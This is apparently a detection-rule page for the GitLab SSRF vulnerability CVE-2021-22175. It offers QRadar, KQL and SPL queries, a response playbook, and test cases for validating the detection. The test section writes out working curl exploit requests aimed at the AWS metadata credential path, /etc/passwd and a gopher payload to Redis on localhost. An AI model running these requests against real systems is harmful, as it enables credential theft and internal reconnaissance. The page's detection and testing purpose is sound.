CVE-2021-22175 IBM QRadar · QRadar

Detect GitLab SSRF Exploitation (CVE-2021-22175) in IBM QRadar

Detects exploitation of CVE-2021-22175, a Server-Side Request Forgery (SSRF) vulnerability in GitLab. An attacker can craft requests that cause the GitLab server to make HTTP requests to internal or external resources, potentially exposing cloud metadata endpoints, internal services, or facilitating lateral movement. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog.

MITRE ATT&CK

Tactic
Reconnaissance Discovery Lateral Movement

QRadar Detection Query

IBM QRadar (QRadar)
sql
SELECT
    sourceip,
    destinationip,
    URL,
    "HTTP Method" AS http_method,
    "HTTP Response Code" AS response_code,
    QIDNAME(qid) AS event_name,
    logsourcename(logsourceid) AS log_source,
    starttime,
    COUNT(*) OVER (PARTITION BY sourceip) AS request_count
FROM events
WHERE
    LOGSOURCETYPENAME(devicetype) IN ('GitLab', 'Apache HTTP Server', 'nginx', 'HAProxy')
    AND (
        URL IMATCHES '.*/(import|hook|webhook|integrations|api/v4/projects/\\d+/import).*'
        OR URL IMATCHES '.*(url=http|import_url=|remote=http).*'
    )
    AND (
        URL IMATCHES '.*(169\\.254\\.169\\.254|metadata\\.google\\.internal|localhost|127\\.0\\.0\\.1).*'
        OR URL IMATCHES '.*(file://|gopher://|dict://|ftp://).*'
        OR destinationip INCIDR '169.254.0.0/16'
        OR destinationip INCIDR '10.0.0.0/8'
        OR destinationip INCIDR '192.168.0.0/16'
    )
    AND DATEFORMAT(starttime, 'yyyy-MM-dd') >= DATEADD('day', -7, NOW())
GROUP BY sourceip, destinationip, URL, http_method, response_code, event_name, log_source, starttime
ORDER BY starttime DESC
LIMIT 500
high severity medium confidence

QRadar AQL query identifying SSRF exploitation attempts against GitLab by correlating request URLs containing SSRF-indicative parameters with destination addresses in private or cloud metadata IP ranges.

Data Sources

GitLab Application LogsWeb Server LogsNetwork Flow Data

Required Tables

events

False Positives & Tuning

  • Automated GitLab backup processes that access internal storage endpoints
  • GitLab Geo replication traffic between primary and secondary nodes on private networks
  • Internal CI/CD pipeline runners accessing private artifact repositories
  • Monitoring solutions that perform internal health checks through the GitLab host

Other platforms for CVE-2021-22175


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1GitLab SSRF via Project Import URL - AWS Metadata

    Expected signal: Outbound HTTP GET to 169.254.169.254 from GitLab server process; network flow record showing connection to 169.254.0.0/16 from GitLab host; GitLab production.log entry with import_url containing metadata endpoint

  2. Test 2GitLab SSRF via Webhook Creation - Internal Service Probe

    Expected signal: Network connection from GitLab server to 192.168.1.1:8500 visible in network flow data; GitLab web_hooks table entry with internal IP URL; web server access log showing webhook API POST with internal URL in body

  3. Test 3GitLab SSRF via Remote Mirror - Loopback File Access

    Expected signal: GitLab application log entries showing file:// or gopher:// scheme in remote mirror URL; database record in remote_mirrors table with dangerous URL scheme; error log entries from GitLab attempting to process the invalid/dangerous URL


Response Playbook

Triage

  1. Identify the source IP of the suspicious request and determine if it originates from an authenticated user, anonymous access, or a known scanner/bot by correlating with GitLab authentication logs.
  2. Inspect the full URL and request body of the flagged request, focusing on the `url`, `import_url`, or `remote` parameter values to determine the intended SSRF target (cloud metadata, internal service, loopback).
  3. Check GitLab server-side logs (production.log, application.log) for evidence of outbound connections made by the GitLab process following the suspicious inbound request — look for unusual external/internal HTTP calls.
  4. Determine if the GitLab instance is internet-facing or accessible only from trusted networks, and assess whether the SSRF target could expose sensitive infrastructure (cloud metadata with IAM credentials, internal APIs, etc.).

Containment

  1. If active exploitation is confirmed, immediately block the source IP at the perimeter firewall and WAF, and invalidate any GitLab session tokens or API keys associated with the attacker's account.
  2. Apply egress filtering on the GitLab server host to restrict outbound connections to only known-good destinations, preventing further SSRF-based data exfiltration to internal services or metadata endpoints.
  3. Rotate cloud provider IAM credentials immediately if the SSRF target included a cloud metadata endpoint (e.g., 169.254.169.254), as these may have been harvested by the attacker.

Evidence Collection

  1. Export GitLab production.log, nginx/apache access logs, and application.log covering the time window of the attack, preserving original timestamps and log integrity via hash (SHA-256).
  2. Capture network flow data (NetFlow/IPFIX) from the GitLab host for the attack window, focusing on outbound connections to internal RFC1918 ranges or cloud metadata IPs that occurred shortly after the inbound SSRF request.
  3. Collect GitLab audit log events (Admin Area > Monitoring > Audit Events) for the affected user account to identify any privilege escalation, repository access, or configuration changes made during or after the attack.

Escalation Criteria

  • !Escalate immediately if SSRF successfully reached a cloud metadata endpoint and response data (IAM tokens, instance identity) was returned — treat as a credential compromise incident requiring cloud security team involvement.
  • !Escalate if the SSRF was used to pivot to internal services (internal APIs, databases, secret managers) or if evidence exists that the attacker used harvested credentials to access additional systems.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >GitLab production.log entries showing outbound HTTP requests initiated by the Sidekiq or Puma process to internal/metadata IPs
  • >Web server access logs (nginx/apache) with full URI including query string for the targeted import/webhook/integration endpoints
  • >Network flow records showing outbound TCP connections from the GitLab server to 169.254.169.254 or RFC1918 addresses
  • >GitLab database records in the `remote_mirrors` or `web_hooks` tables showing attacker-supplied SSRF URLs
  • >Cloud provider access logs (AWS CloudTrail, GCP Audit Logs) showing IAM credential usage from the GitLab host's IP if metadata was successfully accessed

Tuning Guidance

Start by allowlisting known-good GitLab import sources (e.g., GitHub, Bitbucket public IPs) to reduce false positives from legitimate repository mirroring. Tune the RFC1918 detection to exclude your organization's approved internal GitLab Geo replication peer IPs. If GitLab Runners legitimately access internal artifact repositories, extract those IP ranges and suppress them. Raise confidence to 'high' once baseline legitimate import URL patterns are established. Consider setting the detection threshold to fire on the first occurrence (count >= 1) for cloud metadata endpoint targets (169.254.169.254), but require count >= 3 for generic RFC1918 targets to reduce noise from misconfigured webhooks.


Hunting Queries

Retroactive 30-day hunt for SSRF exploitation attempts against GitLab endpoints, searching for URL-encoded payloads targeting internal infrastructure across historical web and proxy logs.

Hunting — KQL
kql
AzureDiagnostics
| where Category == "ApplicationGatewayAccessLog"
| where TimeGenerated > ago(30d)
| where requestUri_s matches regex @"/(import|hook|webhook|integrations)"
| extend DecodedUri = url_decode(requestUri_s)
| where DecodedUri matches regex @"(169\.254|10\.|192\.168|172\.(1[6-9]|2\d|3[01])\.|localhost|127\.0|file://|gopher://)"
| summarize UniqueTargets=dcount(DecodedUri), Requests=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by SourceIP=clientIp_s
| order by Requests desc
Hunting — SPL
spl
index=web OR index=gitlab earliest=-30d
(sourcetype=access_combined OR sourcetype=nginx:access)
uri_path IN ("*/import*", "*/hook*", "*/webhook*", "*/integrations*")
| urldecode(uri_query) as decoded_query
| where match(decoded_query, "(169\.254\.169\.254|metadata\.google\.internal|localhost|127\.0\.0\.1|file://|gopher://|::1)")
| bin _time span=1h
| stats count AS hits, dc(src_ip) AS unique_sources, values(decoded_query) AS ssrf_payloads BY _time
| sort -hits

Atomic Red Team Tests

Test 1 GitLab SSRF via Project Import URL - AWS Metadata
linux

Simulates CVE-2021-22175 exploitation by creating a GitLab project import targeting the AWS EC2 metadata endpoint to test detection of cloud credential harvesting via SSRF.

Command

bash
curl -s -X POST 'http://GITLAB_HOST/api/v4/projects' \
  -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"name": "ssrf-test-aws", "import_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  | python3 -m json.tool

Cleanup

bash
curl -s -X DELETE 'http://GITLAB_HOST/api/v4/projects/$(curl -s http://GITLAB_HOST/api/v4/projects?search=ssrf-test-aws -H "PRIVATE-TOKEN: ATTACKER_API_TOKEN" | python3 -c "import sys,json; print(json.load(sys.stdin)[0][\"id\"])")-H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN'

Expected Telemetry

Outbound HTTP GET to 169.254.169.254 from GitLab server process; network flow record showing connection to 169.254.0.0/16 from GitLab host; GitLab production.log entry with import_url containing metadata endpoint

Expected Detection

Alert fires on SSRF import request with AWS metadata endpoint target; cloud metadata access attempt logged in network telemetry

Test 2 GitLab SSRF via Webhook Creation - Internal Service Probe
linux

Creates a GitLab project webhook pointing to an internal service IP to test SSRF detection through the webhook delivery mechanism, simulating internal network reconnaissance.

Command

bash
# First create a project
PROJECT_ID=$(curl -s -X POST 'http://GITLAB_HOST/api/v4/projects' \
  -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"name": "webhook-ssrf-test"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

# Create webhook targeting internal service
curl -s -X POST "http://GITLAB_HOST/api/v4/projects/${PROJECT_ID}/hooks" \
  -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"url": "http://192.168.1.1:8500/v1/agent/self", "push_events": true}'

# Trigger the webhook via a test push event
curl -s -X POST "http://GITLAB_HOST/api/v4/projects/${PROJECT_ID}/hooks/${HOOK_ID}/test" \
  -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN'

Cleanup

bash
curl -s -X DELETE "http://GITLAB_HOST/api/v4/projects/${PROJECT_ID}" -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN'

Expected Telemetry

Network connection from GitLab server to 192.168.1.1:8500 visible in network flow data; GitLab web_hooks table entry with internal IP URL; web server access log showing webhook API POST with internal URL in body

Expected Detection

SSRF detection via network egress monitoring showing GitLab process initiating connection to RFC1918 address; webhook creation event with internal IP flagged in audit log analysis

Test 3 GitLab SSRF via Remote Mirror - Loopback File Access
linux

Attempts to configure a GitLab remote mirror using the file:// scheme to access local filesystem content, testing detection of dangerous URL scheme abuse in SSRF context.

Command

bash
curl -s -X POST 'http://GITLAB_HOST/api/v4/projects/TARGET_PROJECT_ID/remote_mirrors' \
  -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"url": "file:///etc/passwd", "enabled": true}' | python3 -m json.tool

# Alternative: attempt with gopher scheme for internal service interaction
curl -s -X POST 'http://GITLAB_HOST/api/v4/projects/TARGET_PROJECT_ID/remote_mirrors' \
  -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO%0D%0A", "enabled": true}' | python3 -m json.tool

Cleanup

bash
curl -s -X DELETE 'http://GITLAB_HOST/api/v4/projects/TARGET_PROJECT_ID/remote_mirrors/MIRROR_ID' -H 'PRIVATE-TOKEN: ATTACKER_API_TOKEN'

Expected Telemetry

GitLab application log entries showing file:// or gopher:// scheme in remote mirror URL; database record in remote_mirrors table with dangerous URL scheme; error log entries from GitLab attempting to process the invalid/dangerous URL

Expected Detection

Detection of dangerous URL scheme (file://, gopher://) in GitLab API request parameters; alert on remote mirror creation with non-HTTP/HTTPS URL scheme

Related Detections